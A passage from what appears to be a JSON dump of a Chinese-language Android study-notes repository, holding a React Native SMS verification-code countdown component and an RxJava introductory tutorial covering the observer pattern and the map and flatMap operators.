style={styles.text}>{this.state.text}</Text>\n```\n[下载源码](https://github.com/crazycodeboy/RNStudyNotes/tree/master/Demo)\n\n![TouchableNativeFeedback.gif](https://raw.githubusercontent.com/crazycodeboy/Resources-Blog/master/images/2017/1/React%20Native%E6%8C%89%E9%92%AE%E8%AF%A6%E8%A7%A3%7CTouchable%E7%B3%BB%E5%88%97%E7%BB%84%E4%BB%B6%E4%BD%BF%E7%94%A8%E8%AF%A6%E8%A7%A3/TouchableNativeFeedback.gif)\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/ReactNative相关/短信验证码倒计时控件.md",
    "content": "# ReactNative短信验证码倒计时控件\n\n## 功能\n\n根据项目的需要，需要写一个自定义的控件，实现如下功能：\n\n- 默认文字为**点击获取验证码**\n- 点击后出现60秒的倒计时\n- 颜色，字号可调\n- 倒计时过程中，再次点击需要忽略掉\n- 倒计时完成后文本恢复成**点击获取验证码**\n- 再几次点击同之前\n\n\n其实说了这么多，就是个最普通的验证码的功能。。。\n\n## 效果\n\n效果图如下：(录的图片比较一般，对付着看吧)\n\n![](https://ws2.sinaimg.cn/large/006tNc79ly1fh1x98k8h0g306w01oglo.gif)\n\n## 实现原理\n\n自己封装了个控件，它内部含有一个Text控件，然后我们又写了一个timer，然后负责倒计时，然后每次都需要判断一下是否继续，然后加了一个flag字段，判断是否接受下次点击事件，当倒计时结束之后还需要将初始状态重置回去即可。\n\n## 代码\n\n### 控件代码\n\n```\nimport React, {Component  } from 'react';\nimport {\n    StyleSheet,\n    Text,\n    View,\n    Image,\n    TextInput,\n    TouchableHighlight,\n    StatusBar,\n    Alert,\n    AppRegistry\n} from 'react-native';\nimport LinkRow from '../components/LinkRow';\nimport cStyles from '../styles/CommonStyle';\n\nimport axios from 'axios';\n\nclass MyCountTime extends Component {\n    constructor(props) {\n        super(props);\n        let timeLeft = this.props.timeLeft > 0 ? this.props.timeLeft : 5;\n        let width = this.props.width || 100;\n        let height = this.props.height || 50;\n        let color = this.props.color || '#42A5F5';\n        let fontSize = this.props.fontSize || 30;\n        let fontWeight = this.props.fontWeight || '600';\n        let borderColor = this.props.borderColor || '#42A5F5';\n        let borderWidth = this.props.borderWidth || 1;\n        let borderRadius = this.props.borderRadius || 4;\n        let backgroundColor = this.props.backgroundColor || '#42A5F5';\n        let begin = 0;\n        let press = this.props.press;\n\n        this.afterEnd = this.props.afterEnd || this._afterEnd;\n        this.style = this.props.style;\n\n        this.state = {\n            timeLeft: timeLeft,\n            begin: begin\n        };\n        this.countTextStyle = {\n            textAlign: 'center',\n            color: '#42A5F5',\n            fontSize: fontSize,\n            fontWeight: fontWeight\n\n        };\n        this.countViewStyle = {\n            backgroundColor: backgroundColor,\n            alignItems: 'center',\n            borderColor: borderColor,\n            borderWidth: borderWidth,\n            borderRadius: borderRadius,\n            width: width,\n            height: height\n        }\n    }\n\n    countdownfn(timeLeft, callback, begin) {\n        if (timeLeft > 0) {\n            this.state.begin = 1;\n            console.log(\"===lin===>\");\n\n            let that = this;\n            let interval = setInterval(function () {\n                if (that.state.timeLeft < 1) {\n                    clearInterval(interval);\n                    callback(that)\n                } else {\n                    let totalTime = that.state.timeLeft;\n                    that.setState({\n                        timeLeft: totalTime - 1\n                    })\n                }\n            }, 1000)\n        }\n    }\n\n    _beginCountDown() {\n        if (this.state.begin === 1){\n            return;\n        }\n        let time = this.state.timeLeft;\n        console.log(\"===lin===> time \" + time);\n        let afterEnd = this.afterEnd;\n        let begin = this.state.begin;\n        console.log(\"===lin===> start \" + begin);\n        this.countdownfn(time, afterEnd, begin)\n    }\n\n    _afterEnd(that) {\n        console.log('------------time over');\n        that.setState({\n            begin : 0,\n            timeLeft : 5,\n        })\n    }\n\n    componentDidMount() {\n\n    }\n\n    render() {\n        return (\n            <View style={{position:'absolute',top:13,right:43,height:30}}>\n                <Text\n                    onPress={this._beginCountDown.bind(this)}\n                    style={{color: '#42A5F5', fontSize: 17,height:40 , zIndex:999}}> { this.state.begin === 0 ? '点击获取验证码' : this.state.timeLeft} </Text>\n\n            </View>\n        )\n    }\n}\n\n```\n\n### 应用代码\n\n```\n<MyCountTime timeLeft={5}>\n\n</MyCountTime>\n\n```\n\n\n当然这只是，最简单的应用的代码，我们还提供了很多的自定义的属性，大家可以根据自己项目的需要，去调节这些参数。\n\n----\n\n由于最近刚开始认真的搞RN，可能有一些封装的不是最佳实践，还是希望大家多提意见，和大家一起进步吧。\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/RxJavaPart/1.RxJava详解(一).md",
    "content": "RxJava详解(一)\n===\n\n年初的时候就想学习下`RxJava`然后写一些`RxJava`的教程，无奈发现已经年底了，然而我还么有写。今天有点时间，特别是发布了`RxJava 2.0`后，我决定动笔开始。\n\n现在`RxJava`变的越来越流行了，很多项目中都使用了它。特别是大神`JakeWharton`等的加入，以及`RxBinding、Retrofit、RxLifecycle`等众多项目的，然开发越来越方便，但是上手比较难，不过一旦你入门后你就会发现真是太棒了。\n\n\n在介绍`RxJava`之前，感觉有必要说一下什么是函数响应式编程(`FRP`)？     \n\n函数响应式编程（`FRP`）为解决现代编程问题提供了全新的视角。一旦理解它，可以极大地简化你的项目，特别是处理嵌套回调的异步事件，复杂的列表过滤和变换，或者时间相关问题，而且`RxJava`是响应式编程的一个具体实现。\n\n这里以一个真实的例子来开始讲解函数响应式编程怎么提高我们代码的可读性。我们的任务是通过查询`GitHub`的`API`， 首先获取用户列表，然后请求每个用户的详细信息。这个过程包括两个`web`服务端点:\n`https://api.github.com/users`-获取用户列表；`https://api.github.com/users/{username}`－获取特定用户的详细信息，例如`https://api.github.com/users/mutexkid`。\n\n普通情况下是这样写的:    \n```java\n//The \"Nested Callbacks\" Way\npublic void fetchUserDetails() {\n    //first, request the users...\n    mService.requestUsers(new Callback<GithubUsersResponse>() {\n        @Override\n        public void success(final GithubUsersResponse githubUsersResponse,\n                            final Response response) {\n            Timber.i(TAG, \"Request Users request completed\");\n            final synchronized List<GithubUserDetail> githubUserDetails = new ArrayList<GithubUserDetail>();\n            //next, loop over each item in the response\n            for (GithubUserDetail githubUserDetail : githubUsersResponse) {\n                //request a detail object for that user\n                mService.requestUserDetails(githubUserDetail.mLogin,\n                                            new Callback<GithubUserDetail>() {\n                    @Override\n                    public void success(GithubUserDetail githubUserDetail,\n                                        Response response) {\n                        Log.i(\"User Detail request completed for user : \" + githubUserDetail.mLogin);\n                        githubUserDetails.add(githubUserDetail);\n                        if (githubUserDetails.size() == githubUsersResponse.mGithubUsers.size()) {\n                            //we've downloaded'em all - notify all who are interested!\n                            mBus.post(new UserDetailsLoadedCompleteEvent(githubUserDetails));\n                        }\n                    }\n\n                    @Override\n                    public void failure(RetrofitError error) {\n                        Log.e(TAG, \"Request User Detail Failed!!!!\", error);\n                    }\n                });\n            }\n        }\n\n        @Override\n        public void failure(RetrofitError error) {\n            Log.e(TAG, \"Request User Failed!!!!\", error);\n        }\n    });\n}\n```\n\n尽管这不是最差的代码－至少它是异步的，因此在等待每个请求完成的时候不会阻塞－但由于代码复杂（增加更多层次的回调代码复杂度将呈指数级增长）因此远非理想的代码。\n当我们不可避免要修改代码时（在前面的`web service`调用中，我们依赖前一次的回调状态，因此它不适用于模块化或者修改要传递给下一个回调的数据）也远非容易的工作。\n我们亲切的称这种情况为“回调地狱”。\n\n而通过`RxJava`的方式:    \n```java\npublic void rxFetchUserDetails() {\n    //request the users\n    mService.rxRequestUsers().concatMap(Observable::from)\n    .concatMap((GithubUser githubUser) ->\n                    //request the details for each user\n                    mService.rxRequestUserDetails(githubUser.mLogin)\n    )\n    //accumulate them as a list\n    .toList()\n    //define which threads information will be passed on\n    .subscribeOn(Schedulers.newThread())\n    .observeOn(AndroidSchedulers.mainThread())\n    //post them on an eventbus\n    .subscribe(githubUserDetails -> {\n        EventBus.getDefault().post(new UserDetailsLoadedCompleteEvent(githubUserDetails));\n    });\n}\n```\n\n如你所见，使用函数响应式编程模型我们完全摆脱了回调，并最终得到了更短小的程序。让我们从函数响应式编程的基本定义开始慢慢解释到底发生了什么，并逐渐理解上面的代码，这些代码托管在`GitHub`上面。\n\n从根本上讲，函数响应式编程是在观察者模式的基础上，增加对`Observables`发送的数据流进行操纵和变换的功能。\n\n`RxJava`简介\n---\n\n在介绍`RxJava`之前先说一下`Rx`。`Rx`的全称是`Reactive Extensions`，直译过来就是响应式扩展。\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/rx_logo.png?raw=true)\n\n`Rx`基于观察者模式，它是一种编程模型，目标是提供一致的编程接口，帮助开发者更方便的处理异步数据流。`ReactiveX.io`给的定义是，`Rx`是一个使用可观察数据流进行异步编程的编程接口，`ReactiveX`结合了观察者模式、迭代器模式和函数式编程的精华。`Rx`已经渗透到了各个语言中，有了`Rx`所以才有了`RxJava`、`Rx.NET`、`RxJS`、`RxSwift`、`Rx.rb`、`RxPHP`等等，\n\n这里先列举一下相关的官网:  \n\n- [Rx](http://reactivex.io/)\n- [RxJava](https://github.com/ReactiveX/RxJava)       \n- [RxAndroid](https://github.com/ReactiveX/RxAndroid)\n\n`RxJava`在`GitHub`上的介绍是：`a library for composing asynchronous and event-based programs by using observable sequences for the Java VM.`\n翻译过来也就是一个基于事件和程序在`Java VM`上使用可观测的序列来组成异步的库。`RxJava`的本质就是一个实现异步操作的库，它的优势就是简洁，随着程序逻辑变得越来越复杂，它依然能够保持简洁。       \n\n其实一句话总结一下`RxJava`的作用就是：异步   \n\n这里可能会有人想不就是个异步吗，至于辣么矫情么?用`AsyncTask`、`Handler`甚至自定义一个`BigAsyncTask`分分钟搞定。\n\n但是`RxJava`的好处是简洁。异步操作很关键的一点是程序的简洁性，因为在调度过程比较复杂的情况下，异步代码经常会既难写也难被读懂。 `Android`创造的`AsyncTask`和`Handler`其实都是为了让异步代码更加简洁。虽然`RxJava`的优势也是简洁，但它的简洁的与众不同之处在于，随着程序逻辑变得越来越复杂，它依然能够保持简洁。\n\n\n#### 扩展的观察者模式\n\n\n`RxJava`的异步实现，是通过一种扩展的观察者模式来实现的。\n\n观察者模式面向的需求是：`A`对象（观察者）对`B`对象（被观察者）的某种变化高度敏感，需要在`B`变化的一瞬间做出反应。举个例子，新闻里喜闻乐见的警察抓小偷，警察需要在小偷伸手作案的时候实施抓捕。在这个例子里，警察是观察者，小偷是被观察者，警察需要时刻盯着小偷的一举一动，才能保证不会漏过任何瞬间。程序的观察者模式和这种真正的『观察』略有不同，观察者不需要时刻盯着被观察者（例如`A`不需要每过`2ms`就检查一次`B`的状态），而是采用注册(`Register`)或者称为订阅(`Subscribe`)的方式，告诉被观察者：我需要你的某某状态，你要在它变化的时候通知我。 `Android`开发中一个比较典型的例子是点击监听器`OnClickListener`。对设置`OnClickListener`来说，`View`是被观察者，`OnClickListener`是观察者，二者通过 `setOnClickListener()`方法达成订阅关系。订阅之后用户点击按钮的瞬间，`Android Framework`就会将点击事件发送给已经注册的`OnClickListener`。采取这样被动的观察方式，既省去了反复检索状态的资源消耗，也能够得到最高的反馈速度。当然，这也得益于我们可以随意定制自己程序中的观察者和被观察者，而警察叔叔明显无法要求小偷『你在作案的时候务必通知我』。\n\n`OnClickListener`的模式大致如下图：\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/btn_onclick.jpg?raw=true)\n\n如图所示，通过`setOnClickListener()`方法，`Button`持有`OnClickListener`的引用（这一过程没有在图上画出）；当用户点击时，`Button`自动调用`OnClickListener`的`onClick()` 方法。另外，如果把这张图中的概念抽象出来（`Button` -> 被观察者、`OnClickListener` -> 观察者、`setOnClickListener()` -> 订阅，`onClick()` -> 事件），就由专用的观察者模式（例如只用于监听控件点击）转变成了通用的观察者模式。如下图：\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/btn_rxjava_observable.jpg?raw=true)\n\n而`RxJava`作为一个工具库，使用的就是通用形式的观察者模式。\n\n\n#### `RxJava`的观察者模式\n\n \n`RxJava`的基本概念：\n\n- `Observable`(可观察者，即被观察者):产生事件，例如去饭店吃饭的顾客。\n- `Observer`(观察者):接收事件，并给出响应动作，例如去饭店吃饭的厨房，会接受事件，并给出相应。\n- `subscribe()`(订阅):连接被观察者与观察者，例如去饭店吃饭的服务员。\n    `Observable`和`Observer`通过`subscribe()` 方法实现订阅关系，从而`Observable`可以在需要的时候发出事件来通知`Observer`。\n- `Event`(事件):被观察者与观察者沟通的载体，例如顾客点的菜。\n\n与传统观察者模式不同，`RxJava`的事件回调方法除了普通事件`onNext()`(相当于`onClick()`/`onEvent()`)之外，还定义了两个特殊的事件：`onCompleted()`和`onError()`:     \n但是`RxJava`与传统的观察者设计模式有一点明显不同，那就是如果一个`Observerble`没有任何的的`Subscriber`，那么这个`Observable`是不会发出任何事件的。\n\n\n- `onCompleted()`: 事件队列完结。         \n    `RxJava`不仅把每个事件单独处理，还会把它们看做一个队列。`RxJava`规定，当不会再有新的`onNext()`发出时，需要触发`onCompleted()` 方法作为标志。\n- `onError()`: 事件队列异常。\n    在事件处理过程中出异常时，`onError()`会被触发，同时队列自动终止，不允许再有事件发出。\n- 在一个正确运行的事件序列中, `onCompleted()`和`onError()`有且只有一个，并且是事件序列中的最后一个。需要注意的是`onCompleted()`和`onError()` 二者也是互斥的，即在队列中调用了其中一个，就不应该再调用另一个。\n\n\n`RxJava`的观察者模式大致如下图：\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/rxjava_observer_1.jpg?raw=true)\n\n\n#### 基本实现\n\n\n基于上面的概念， `RxJava`的基本实现主要有三点:    \n\n- 创建`Observable`         \n    `Observable`即被观察者，它决定什么时候触发事件以及触发怎样的事件。 `RxJava`使用`Observable.create()`方法来创建一个`Observable`，并为它定义事件触发规则。    \n\n- 创建`Observer`即观察者，它决定事件触发的时候将有怎样的行为。       \n    `RxJava`中的`Observer`接口的实现方式:    \n   ```java\n   Observer<String> observer = new Observer<String>() {\n       @Override\n       public void onNext(String s) {\n           Log.d(tag, \"Item: \" + s);\n       }\n\n       @Override\n       public void onCompleted() {\n           Log.d(tag, \"Completed!\");\n       }\n\n       @Override\n       public void onError(Throwable e) {\n           Log.d(tag, \"Error!\");\n       }\n   };\n   ```\n    除了`Observer`接口之外，`RxJava`还内置了一个实现了`Observer`的抽象类:`Subscriber`。`Subscriber`对`Observer`接口进行了一些扩展，但他们的基本使用方式是完全一样的。\n\n   ```java\n   Subscriber<String> subscriber = new Subscriber<String>() {\n       @Override\n       public void onNext(String s) {\n           Log.d(tag, \"Item: \" + s);\n       }\n\n       @Override\n       public void onCompleted() {\n           Log.d(tag, \"Completed!\");\n       }\n\n       @Override\n       public void onError(Throwable e) {\n           Log.d(tag, \"Error!\");\n       }\n   };\n   ```\n    不仅基本使用方式一样，实质上，在`RxJava`的`subscribe()`过程中，`Observer`也总是会先被转换成一个`Subscriber`再使用。所以如果你只想使用基本功能，选择`Observer`和 `Subscriber`是完全一样的。它们的区别对于使用者来说主要有两点：\n\n    - `onStart()`: 这是`Subscriber`增加的方法。它会在`subscribe()`刚开始而事件还未发送之前被调用，可以用于做一些准备工作，例如数据的清零或重置。这是一个可选方法，默认情况下它的实现为空。需要注意的是，如果对准备工作的线程有要求（例如弹出一个显示进度的对话框，这必须在主线程执行）， `onStart()`就不适用了，因为它总是在`subscribe()` 所发生的线程被调用，而不能指定线程。要在指定的线程来做准备工作，可以使用`doOnSubscribe()`方法，具体可以在后面的文中看到。\n    - `unsubscribe`(): 这是`Subscriber`所实现的另一个接口`Subscription`的方法，用于取消订阅。在这个方法被调用后，`Subscriber` 将不再接收事件。一般在这个方法调用前，可以使用`isUnsubscribed()`先判断一下状态。 `unsubscribe()`这个方法很重要，因为在`subscribe()`之后,`Observable`会持有 `Subscriber`的引用，这个引用如果不能及时被释放，将有内存泄露的风险。所以最好保持一个原则：要在不再使用的时候尽快在合适的地方（例如`onPause()、onStop()`等方法中）调用`unsubscribe()`来解除引用关系，以避免内存泄露的发生。\n    所以后续讲解时我们有时会用`Subscriber`来代替`Observer`。\n\n- 调用`subscribe()`方法(订阅)\n\n    创建了一个`Observable`和`Observer`之后，再用`subscribe()`方法将它们联结起来，整条链子就可以工作了。代码形式很简单：\n\n    ```java\n    observable.subscribe(observer);  \n    // 或者：\n    observable.subscribe(subscriber);\n    ```\n\n    > 有人可能会注意到，`subscribe()`这个方法有点怪：它看起来是`observalbe`订阅了`observer/subscriber`而不是`observer/subscriber`订阅了`observalbe`，这看起来就像『杂志订阅了读者』一样颠倒了对象关系。这让人读起来有点别扭，不过如果把`API`设计成`observer.subscribe(observable)/subscriber.subscribe(observable)` ，虽然更加符合思维逻辑，但对流式`API`的设计就造成影响了，比较起来明显是得不偿失的。\n\n  \n`RxJava`入门示例\n---\n\n一个`Observable`可以发出零个或者多个事件，知道结束或者出错。每发出一个事件，就会调用它的`Subscriber`的`onNext`方法，最后调用`Subscriber.onComplete()`或者`Subscriber.onError()`结束。\n\n#### `Hello World`\n\n\n```\ncompile 'io.reactivex:rxandroid:1.2.1'\n// Because RxAndroid releases are few and far between, it is recommended you also\n// explicitly depend on RxJava's latest version for bug fixes and new features.\ncompile 'io.reactivex:rxjava:1.2.3'\n```\n\n```java\n// 创建被观察者、数据源\nObservable<String> observable = Observable.create(new Observable.OnSubscribe<String>() {\n    @Override\n    public void call(Subscriber<? super String> subscriber) {\n        // 可以看到，这里传入了一个 OnSubscribe 对象作为参数。OnSubscribe 会被存储在返回的 Observable 对象中，它的作用相当于一个计划表，当 Observable      \n        //被订阅的时候，OnSubscribe 的 call() 方法会自动被调用，事件序列就会依照设定依次触发（对于上面的代码，就是观察者Subscriber 将会被调用三次 onNext() 和一次 \n        // onCompleted()）。这样，由被观察者调用了观察者的回调方法，就实现了由被观察者向观察者的事件传递，即观察者模式。\n        Log.i(\"@@@\", \"call\");\n        subscriber.onNext(\"Hello \");\n        subscriber.onNext(\"World !\");\n        subscriber.onCompleted();\n    }\n});\n// 创建观察者\nSubscriber<String> subscriber = new Subscriber<String>() {\n    @Override\n    public void onCompleted() {\n        Log.i(\"@@@\", \"onCompleted\");\n    }\n\n    @Override\n    public void onError(Throwable e) {\n        Log.i(\"@@@\", \"onError\");\n    }\n\n    @Override\n    public void onNext(String s) {\n        Log.i(\"@@@\", \"onNext : \" + s);\n    }\n};\n// 关联或者叫订阅更合适。\nobservable.subscribe(subscriber);\n```\n\n一旦`subscriber`订阅了`observable`，`observable`就会调用`subscriber`对象的`onNext`和`onComplete`方法，`subscriber`就会打印出`Hello World`.        \n\n `Observable.subscribe(Subscriber)`的内部实现是这样的（仅核心代码）：\n\n```java\n// 注意：这不是`subscribe()`的源码，而是将源码中与性能、兼容性、扩展性有关的代码剔除后的核心代码。\npublic Subscription subscribe(Subscriber subscriber) {\n   subscriber.onStart();\n   onSubscribe.call(subscriber);\n   return subscriber;\n}\n```\n\n可以看到`subscriber()`做了3件事：\n\n- 调用`Subscriber.onStart()`。这个方法在前面已经介绍过，是一个可选的准备方法。\n- 调用`Observable`中的`onSubscribe.call(Subscriber)`。在这里，事件发送的逻辑开始运行。从这也可以看出，在`RxJava`中，`Observable` 并不是在创建的时候就立即开始发送事件，而是在它被订阅的时候，即当`subscribe()`方法执行的时候。\n- 将传入的`Subscriber`作为`Subscription`返回。这是为了方便`unsubscribe()`.\n\n整个过程中对象间的关系如下图：\n    \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/rxjava_observable_list.gif?raw=true)\n\n\n讲到这里很多人肯定会骂傻`X`,这TM简洁你妹啊...，这里只是个入门`Hello World`，真正的简洁等你看完全部介绍后就明白了。\n\n`RxJava`内置了很多简化创建`Observable`对象的函数，比如`Observable.just()`就是用来创建只发出一个事件就结束的`Observable`对象，上面创建`Observable`对象的代码可以简化为一行\n\n```java\nObservable<String> observable = Observable.just(\"Hello \", \"World !\");\n```\n\n接下来看看如何简化`Subscriber`，上面的例子中，我们其实并不关心`onComplete()`和`onError`，我们只需要在`onNext`的时候做一些处理，这时候就可以使用`Action1`类。\n\n```java\nAction1<String> action1 = new Action1<String>() {\n    @Override\n    public void call(String s) {\n        Log.i(\"@@@\", \"call : \" + s);\n    }\n};\n```\n\n`Observable.subscribe()`方法有一个重载版本，接受三个`Action1`类型的参数      \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/rxjava_subscribe_params.png?raw=true)\n\n所以上面的代码最终可以写成这样:   \n\n```java\nObservable.just(\"Hello \", \"World !\").subscribe(new Action1<String>() {\n    @Override\n    public void call(String s) {\n        Log.i(\"@@@\", \"call : \" + s);\n    }\n});\n```\n\n这里顺便多提一些`subscribe()`的多个`Action`参数：   \n```java\nAction1<String> onNextAction = new Action1<String>() {\n    // onNext()\n    @Override\n    public void call(String s) {\n        Log.d(tag, s);\n    }\n};\nAction1<Throwable> onErrorAction = new Action1<Throwable>() {\n    // onError()\n    @Override\n    public void call(Throwable throwable) {\n        // Error handling\n    }\n};\nAction0 onCompletedAction = new Action0() {\n    // onCompleted()\n    @Override\n    public void call() {\n        Log.d(tag, \"completed\");\n    }\n};\n\nobservable.subscribe(onNextAction, onErrorAction, onCompletedAction);\n```\n\n简单解释一下这段代码中出现的`Action1`和`Action0`。`Action0`是`RxJava`的一个接口，它只有一个方法`call()`，这个方法是无参无返回值的；由于`onCompleted()` 方法也是无参无返回值的，因此`Action0`可以被当成一个包装对象，将`onCompleted()`的内容打包起来将自己作为一个参数传入`subscribe()`以实现不完整定义的回调。这样其实也可以看做将 `onCompleted()`方法作为参数传进了`subscribe()`，相当于其他某些语言中的『闭包』。`Action1`也是一个接口，它同样只有一个方法`call(T param)`，这个方法也无返回值，但有一个参数；与`Action0`同理，由于`onNext(T obj)`和`onError(Throwable error)`也是单参数无返回值的，因此`Action1`可以将`onNext(obj)`和`onError(error)`打包起来传入`subscribe()`以实现不完整定义的回调。事实上，虽然`Action0`和`Action1`在`API`中使用最广泛，但`RxJava`是提供了多个`ActionX`形式的接口(例如`Action2`, `Action3`)的，它们可以被用以包装不同的无返回值的方法。\n\n\n假设我们的`Observable`是第三方提供的，它提供了大量的用户数据给我们，而我们需要从用户数据中筛选部分有用的信息，那我们该怎么办呢？    \n从`Observable`中去修改肯定是不现实的？那从`Subscriber`中进行修改呢？ 这样好像是可以完成的。但是这种方式并不好，因为我们希望`Subscriber`越轻量越好，因为很有可能我们需要\n在主线程中去执行`Subscriber`。另外，根据响应式函数编程的概念，`Subscribers`更应该做的事情是`响应`，响应`Observable`发出的事件，而不是去修改。\n那该怎么办呢？ 这就要用到下面的部分要讲的操作符。  \n\n\n\n接口变化\n---\n\n`RxJava 2.x`拥有了新的特性，其依赖于4个基础接口，它们分别是:     \n- `Publisher`\n- `Subscriber`\n- `Subscription`\n- `Processor`\n其中最核心的莫过于`Publisher`和`Subscriber`。`Publisher`可以发出一系列的事件，而`Subscriber`负责和处理这些事件。\n\n其中用的比较多的自然是`Publisher`的`Flowable`，它支持背压(`backpressure`)。关于背压给个简洁的定义就是: \n\n> 背压是指在异步场景中，被观察者发送事件速度远快于观察者的处理速度的情况下，一种告诉上游的被观察者降低发送速度的策略。\n\n简而言之，背压是流速控制的一种策略。\n其实`RxJava 2.x`最大的改动就是对于`backpressure`的处理，为此将原来的`Observable`拆分成了新的`Observable`和`Flowable`，同时其他相关部分也同时进行了拆分。\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/rxjava1vs2.png?raw=true)\n\n\n在`RxJava 2.x`中，`Observable`用于订阅`Observer`，不再支持背压（`1.x`中可以使用背压策略），而`Flowable`用于订阅`Subscriber`，是支持背压的。\n\n操作符(`Operators`)\n---\n\n`RxJava`提供了对事件序列进行变换的支持，这是它的核心功能之一.所谓变换，就是将事件序列中的对象或整个序列进行加工处理，转换成不同的事件或事件序列。       \n操作符就是为了解决对`Observable`对象的变换的问题，操作符用于在`Observable`和最终的`Subscriber`之间修改`Observable`发出的事件。`RxJava`提供了很多很有用的操作符。\n比如`map`操作符，就是用来把把一个事件转换为另一个事件的。\n\n#### `map`\n\n\n`Returns an Observable that applies a specified function to each item emitted by the source Observable and emits the results of these function applications.`\n\n```java\nObservable<String> just = Observable.just(\"Hello \", \"World !\");\nObservable<String> map = just.map(new Func1<String, String>() {\n    @Override\n    public String call(String s) {\n        return s + \"@@@\";\n    }\n});\nmap.subscribe(new Action1<String>() {\n    @Override\n    public void call(String s) {\n        Log.i(\"@@@\", s);\n    }\n});\n```\n上面的代码打印出的结果是:   \n```\n12-12 15:51:22.184 472-472/com.charon.rxjavastudydemo I/@@@: Hello @@@\n12-12 15:51:22.184 472-472/com.charon.rxjavastudydemo I/@@@: World !@@@\n```\n\n`map()`操作符就是用于变换`Observable`对象的，`map`操作符返回一个`Observable`对象，这样就可以实现链式调用，在一个`Observable`对象上多次使用map操作符，最终将最简洁的数据传递给`Subscriber`对象。\n\n`map`操作符更有趣的一点是它不必返回Observable对象返回的类型，你可以使用`map`操作符返回一个发出新的数据类型的`Observable`对象。\n比如上面的例子中，`Subscriber`并不关心返回的字符串，而是想要字符串的`hash`值。\n\n\n```java\nObservable<String> just = Observable.just(\"Hello \", \"World !\");\nObservable<Integer> map = just.map(new Func1<String, Integer>() {\n    @Override\n    public Integer call(String s) {\n        return s.hashCode();\n    }\n});\nmap.subscribe(new Action1<Integer>() {\n    @Override\n    public void call(Integer integer) {\n        Log.i(\"@@@\", \"\" + integer);\n    }\n});\n```\n\n上面部分的打印结果是:    \n```\n12-12 15:54:35.515 8521-8521/com.charon.rxjavastudydemo I/@@@: -2137068114\n12-12 15:54:35.516 8521-8521/com.charon.rxjavastudydemo I/@@@: -1105126669\n```\n\n`map()`的示意图：\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/rxjava_map.jpg?raw=true)\n\n通过上面的部分我们可以得知:   \n\n- `Observable`和`Subscriber`可以做任何事情\n    `Observable`可以是一个数据库查询，`Subscriber`用来显示查询结果；`Observable`可以是屏幕上的点击事件，`Subscriber`用来响应点击事件；`Observable`可以是一个网络请求，`Subscriber`用来显示请求结果。\n\n- `Observable`和`Subscriber`是独立于中间的变换过程的。\n    在`Observable`和`Subscriber`中间 可以增减任何数量的`map`。整个系统是高度可组合的，操作数据是一个很简单的过程。\n\n\n#### `flatmap`\n\n\n`Returns an Observable that emits items based on applying a function that you supply to each item emitted \n by the source Observable, where that function returns an Observable, and then merging those resulting \n Observables and emitting the results of this merger.`\n\n`flatMap()`是一个很有用但非常难理解的变换，首先假设这么一种需求：假设有一个数据结构『学生』，现在需要打印出一组学生的名字。实现方式很简单：\n\n```java\nStudent[] students = ...;\nSubscriber<String> subscriber = new Subscriber<String>() {\n    @Override\n    public void onNext(String name) {\n        Log.d(tag, name);\n    }\n    ...\n};\nObservable.from(students)\n    .map(new Func1<Student, String>() {\n        @Override\n        public String call(Student student) {\n            return student.getName();\n        }\n    })\n    .subscribe(subscriber);\n```\n\n很简单。那么再假设：如果要打印出每个学生所需要修的所有课程的名称呢?(需求的区别在于，每个学生只有一个名字，但却有多个课程)首先可以这样实现：\n\n```java\nStudent[] students = ...;\nSubscriber<Student> subscriber = new Subscriber<Student>() {\n    @Override\n    public void onNext(Student student) {\n        List<Course> courses = student.getCourses();\n        for (int i = 0; i < courses.size(); i++) {\n            Course course = courses.get(i);\n            Log.d(tag, course.getName());\n        }\n    }\n    ...\n};\nObservable.from(students)\n    .subscribe(subscriber);\n```\n\n依然很简单。那么如果我不想在`Subscriber`中使用`for`循环，而是希望`Subscriber`中直接传入单个的`Course`对象呢(这对于代码复用很重要),用`map()`显然是不行的，因为`map()` 是一对一的转化，而我现在的要求是一对多的转化。那怎么才能把一个`Student`转化成多个`Course`呢？\n\n这个时候，就需要用`flatMap()`了：\n```java\nStudent[] students = ...;\nSubscriber<Course> subscriber = new Subscriber<Course>() {\n    @Override\n    public void onNext(Course course) {\n        Log.d(tag, course.getName());\n    }\n    ...\n};\nObservable.from(students)\n    .flatMap(new Func1<Student, Observable<Course>>() {\n        @Override\n        public Observable<Course> call(Student student) {\n            return Observable.from(student.getCourses());\n        }\n    })\n    .subscribe(subscriber);\n```\n\n`map`与`flatmap`在功能上是一致的,它也是把传入的参数转化之后返回另一个对象。区别在于`flatmap`是通过中间`Observable`来进行，而`map`是直接执行.`flatMap()`中返回的是个 `Observable`对象，并且这个`Observable`对象并不是被直接发送到了`Subscriber`的回调方法中。 \n\n`flatMap()`的原理是这样的:  \n\n- 使用传入的事件对象创建一个`Observable`对象\n- 并不发送这个`Observable`而是将它激活，于是它开始发送事件\n- 每一个创建出来的`Observable`发送的事件，都被汇入同一个`Observable`,而这个`Observable`负责将这些事件统一交给`Subscriber` 的回调方法。\n\n这三个步骤，把事件拆成了两级，通过一组新创建的`Observable`将初始的对象『铺平』之后通过统一路径分发了下去。而这个『铺平』就是`flatMap()`所谓的`flat`。\n\n`flatMap()`就是根据你的规则，将`Observable`转换之后再发射出去，注意最后的顺序很可能是错乱的，如果要保证顺序的一致性，要使用`concatMap()`     \n由于可以在嵌套的`Observable`中添加异步代码`flatMap()`也常用于嵌套的异步操作，例如嵌套的网络请求`(Retrofit + RxJava)`\n\n`flatMap()`示意图：\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/rxjava_flatmap.jpg?raw=true)\n\n\n#### `throttleFirst()`\n\n\n在每次事件触发后的一定时间间隔内丢弃新的事件。常用作去抖动过滤。 \n例如按钮的点击监听器:    \n```java\nRxView.clickEvents(button); // RxBinding 代码`\n    .throttleFirst(500, TimeUnit.MILLISECONDS) // 设置防抖间隔为 500ms \n    .subscribe(subscriber); // 妈妈再也不怕我的用户手抖点开两个重复的界面啦。\n```\n\n#### `from`\n\n\n`convert various other objects and data types into 